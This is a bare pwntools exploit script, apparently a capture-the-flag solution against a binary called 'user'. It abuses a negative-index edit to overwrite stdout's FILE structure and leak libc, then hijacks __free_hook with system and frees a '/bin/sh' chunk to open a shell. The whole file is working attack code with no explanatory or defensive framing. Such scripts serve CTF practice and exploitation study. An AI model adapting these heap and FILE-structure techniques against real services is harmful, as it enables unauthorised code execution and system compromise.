1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
|
from pwn import *
filename = "./user"
libc = "./libc.so.6"
context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]
def VIO_TEXT(x):
return f"\x1b[95m{x}\x1b[0m"
io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
# io = remote("pss.idss-cn.com", 23160)
# gdb.attach(io, gdbscript="""b *main""")
def se(data):
return io.send(data)
def sa(delim, data):
return io.sendafter(delim, data)
def sl(data):
return io.sendline(data)
def sla(delim, data):
return io.sendlineafter(delim, data)
def rc(num):
return io.recv(num)
def rl():
return io.recvline()
def ru(delims):
return io.recvuntil(delims)
def uu32(data):
return u32(data.ljust(4, b"\x00"))
def uu64(data):
return u64(data.ljust(8, b"\x00"))
def ia():
return io.interactive()
def menu(index):
sla(b"5. Exit", str(index).encode())
def add(name):
menu(1)
sa(b"Enter your username:\n", name)
def delete(idx):
menu(2)
sla(b"index:", str(idx).encode())
def edit(idx, data):
menu(4)
sla(b"index:", str(idx).encode())
sa(b"Enter a new username:", data)
add(b"111")
add(b"/bin/sh\x00")
payload = flat(0xFBAD1880, 0, 0, 0, b"\x00")
edit(-8, payload)
io.recvuntil(b"\x80")
partial = io.recv(5)
partial_addr = int.from_bytes(partial, "little") << 8
libc_base = partial_addr + 0x80 - libc.symbols["_IO_2_1_stdin_"]
log.success(VIO_TEXT(f"libc base: {hex(libc_base)}"))
edit(-11, b"\x60")
edit(-11, p64(libc_base + libc.sym["__free_hook"]))
edit(0, p64(libc_base + libc.sym["system"]))
delete(1)
io.interactive()
|